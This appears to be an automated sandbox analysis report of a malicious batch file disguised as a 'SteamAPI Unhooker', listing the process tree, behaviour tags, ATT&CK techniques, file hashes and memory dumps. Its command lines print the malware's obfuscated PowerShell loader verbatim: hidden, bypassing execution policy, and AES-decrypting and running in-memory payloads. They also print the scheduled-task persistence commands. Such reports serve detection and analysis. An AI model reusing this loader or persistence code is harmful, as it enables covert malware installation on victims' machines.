C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1248

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1256

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1396

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1832

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2056

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2400

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2512

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2520

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2592

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2556

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3300

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:2372

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2768

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_851_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_851.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3904

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_851.vbs"
4⤵
- Suspicious use of WriteProcessMemory
PID:3144

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_851.bat" "
5⤵
- Suspicious use of WriteProcessMemory
PID:3108

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:4408

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_851.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_851.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4580

C:\Users\Admin\AppData\Local\Temp\New.exe
"C:\Users\Admin\AppData\Local\Temp\New.exe"
7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4952

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:3484

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
7⤵
- Executes dropped EXE
PID:2092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3468

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3828

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3892

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3968

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4384

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4844

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1096

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:2792

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3520

C:\Windows\sysWOW64\wbem\wmiprvse.exe
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3540

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
PID:1044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
8ba8fc1034d449222856ea8fa2531e28

SHA1
7570fe1788e57484c5138b6cead052fbc3366f3e

SHA256
2e72609b2c93e0660390a91c8e5334d62c7b17cd40f9ae8afcc767d345cc12f2

SHA512
7ee42c690e5db3818e445fa8f50f5db39973f8caf5fce0b4d6261cb5a637e63f966c5f1734ee743b9bf30bcf8d18aa70ceb65ed41035c2940d4c6d34735e0d7b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
da41906e3c36aed8ef2af440082efe62

SHA1
9a1dfe14214818840b9733ee63ed32f8e8a67d36

SHA256
d9eb2b01802a3809872c433dfcdc55b00f682da62366afbcfefc7d6fc469ec52

SHA512
9453fe8441c1baff1dac83f19ecfa595ea94e1a8d718e4e23953e0855e0a54f190979d1f8c11dd9a7c12469d40aeb18b140ac34448f6b1af3b082a256c60d68c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Install.exe

Filesize
163KB

MD5
b51552b77057c2405f73bbbf9c89234a

SHA1
4793adbba023f90d2d2ad0ec55199c56de815224

SHA256
720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

SHA512
564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

Download Submit
C:\Users\Admin\AppData\Local\Temp\New.exe

Filesize
409KB

MD5
cf570b21f42f0ce411b7c9961068931e

SHA1
f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d

SHA256
d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234

SHA512
de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k1jzjipa.xis.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_851.bat

Filesize
1002KB

MD5
f6d5bfaee8a55ff72c7b453fda066d62

SHA1
7d737d53013990e5d05076b7206e43eb4793fc7f

SHA256
3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

SHA512
e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_851.vbs

Filesize
115B

MD5
9b1f7fd1afd17850c5f8cd9d0224cea6

SHA1
5a60b6f7d7883e3586cad39e2e4ca0d4afe40b3e

SHA256
95c9c6c74a4dfa55c5cfead13814efb4d30025696f2ddcc87dfbeecafbc2bbd9

SHA512
d5ebe2c23eae367d2ac76ce1f4129350c19605f08fb130d6759b7757f23f47717fd05aa94dfcc1ffda7767243516cbd3f392061d4717f0d3bd1be0d2f43bdff9

Download Submit
memory/432-166-0x00007FFB64310000-0x00007FFB64320000-memory.dmp

Filesize
64KB

Download
memory/432-160-0x000001E5C2350000-0x000001E5C237A000-memory.dmp

Filesize
168KB

Download
memory/432-165-0x000001E5C2350000-0x000001E5C237A000-memory.dmp

Filesize
168KB

Download
memory/464-176-0x00007FFB64310000-0x00007FFB64320000-memory.dmp

Filesize
64KB

Download
memory/464-170-0x000001A19D1D0000-0x000001A19D1FA000-memory.dmp

Filesize
168KB

Download
memory/464-175-0x000001A19D1D0000-0x000001A19D1FA000-memory.dmp

Filesize
168KB

Download
memory/636-136-0x00007FFB64310000-0x00007FFB64320000-memory.dmp

Filesize
64KB

Download
memory/636-135-0x000001541AF80000-0x000001541AFAA000-memory.dmp

Filesize
168KB

Download
memory/636-130-0x000001541AF80000-0x000001541AFAA000-memory.dmp

Filesize
168KB

Download
memory/636-129-0x000001541AF80000-0x000001541AFAA000-memory.dmp

Filesize
168KB

Download
memory/636-128-0x000001541AF50000-0x000001541AF75000-memory.dmp

Filesize
148KB

Download
memory/692-146-0x00007FFB64310000-0x00007FFB64320000-memory.dmp

Filesize
64KB

Download
memory/692-145-0x000001FF16300000-0x000001FF1632A000-memory.dmp

Filesize
168KB

Download
memory/692-140-0x000001FF16300000-0x000001FF1632A000-memory.dmp

Filesize
168KB

Download
memory/1000-150-0x00000268C5570000-0x00000268C559A000-memory.dmp

Filesize
168KB

Download
memory/1000-155-0x00000268C5570000-0x00000268C559A000-memory.dmp

Filesize
168KB

Download
memory/1000-156-0x00007FFB64310000-0x00007FFB64320000-memory.dmp

Filesize
64KB

Download
memory/1704-116-0x00007FFBA3C80000-0x00007FFBA3D3D000-memory.dmp

Filesize
756KB

Download
memory/1704-103-0x00000264C0B90000-0x00000264C0BB2000-memory.dmp

Filesize
136KB

Download
memory/1704-114-0x00000264D9390000-0x00000264D93BA000-memory.dmp

Filesize
168KB

Download
memory/1704-115-0x00007FFBA4280000-0x00007FFBA4489000-memory.dmp

Filesize
2.0MB

Download
memory/1896-125-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1896-124-0x00007FFBA3C80000-0x00007FFBA3D3D000-memory.dmp

Filesize
756KB

Download
memory/1896-123-0x00007FFBA4280000-0x00007FFBA4489000-memory.dmp

Filesize
2.0MB

Download
memory/1896-122-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1896-120-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1896-119-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1896-118-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1896-117-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2768-75-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/2768-23-0x000000000AF00000-0x000000000B4A6000-memory.dmp

Filesize
5.6MB

Download
memory/2768-1-0x00000000036B0000-0x00000000036E6000-memory.dmp

Filesize
216KB

Download
memory/2768-0-0x000000007516E000-0x000000007516F000-memory.dmp

Filesize
4KB

Download
memory/2768-2-0x0000000005F30000-0x000000000655A000-memory.dmp

Filesize
6.2MB

Download
memory/2768-3-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/2768-4-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/2768-5-0x0000000005CF0000-0x0000000005D12000-memory.dmp

Filesize
136KB

Download
memory/2768-6-0x0000000005E90000-0x0000000005EF6000-memory.dmp

Filesize
408KB

Download
memory/2768-7-0x0000000006560000-0x00000000065C6000-memory.dmp

Filesize
408KB

Download
memory/2768-16-0x00000000065D0000-0x0000000006927000-memory.dmp

Filesize
3.3MB

Download
memory/2768-17-0x0000000006A80000-0x0000000006A9E000-memory.dmp

Filesize
120KB

Download
memory/2768-18-0x0000000006AC0000-0x0000000006B0C000-memory.dmp

Filesize
304KB

Download
memory/2768-19-0x00000000092D0000-0x000000000994A000-memory.dmp

Filesize
6.5MB

Download
memory/2768-20-0x0000000007040000-0x000000000705A000-memory.dmp

Filesize
104KB

Download
memory/2768-21-0x0000000006FE0000-0x0000000006FE8000-memory.dmp

Filesize
32KB

Download
memory/2768-22-0x0000000008CF0000-0x0000000008DE2000-memory.dmp

Filesize
968KB

Download
memory/3904-53-0x0000000007BD0000-0x0000000007BE1000-memory.dmp

Filesize
68KB

Download
memory/3904-51-0x0000000007A30000-0x0000000007A3A000-memory.dmp

Filesize
40KB

Download
memory/3904-36-0x0000000007840000-0x0000000007874000-memory.dmp

Filesize
208KB

Download
memory/3904-35-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/3904-26-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/3904-25-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/3904-47-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/3904-46-0x0000000007800000-0x000000000781E000-memory.dmp

Filesize
120KB

Download
memory/3904-48-0x0000000007920000-0x00000000079C4000-memory.dmp

Filesize
656KB

Download
memory/3904-49-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/3904-50-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/3904-37-0x0000000071350000-0x000000007139C000-memory.dmp

Filesize
304KB

Download
memory/3904-52-0x0000000007C40000-0x0000000007CD6000-memory.dmp

Filesize
600KB

Download
memory/3904-57-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/3904-54-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/4580-110-0x000000000B2A0000-0x000000000B2DC000-memory.dmp

Filesize
240KB

Download
memory/4580-112-0x000000000B3B0000-0x000000000B3BA000-memory.dmp

Filesize
40KB

Download
memory/4580-100-0x0000000008DE0000-0x0000000008DF2000-memory.dmp

Filesize
72KB

Download
memory/4580-80-0x00000000090C0000-0x000000000912C000-memory.dmp

Filesize
432KB

Download
memory/4580-81-0x00000000092E0000-0x0000000009372000-memory.dmp

Filesize
584KB

Download
memory/4952-97-0x0000000000060000-0x00000000000CC000-memory.dmp

Filesize
432KB

Download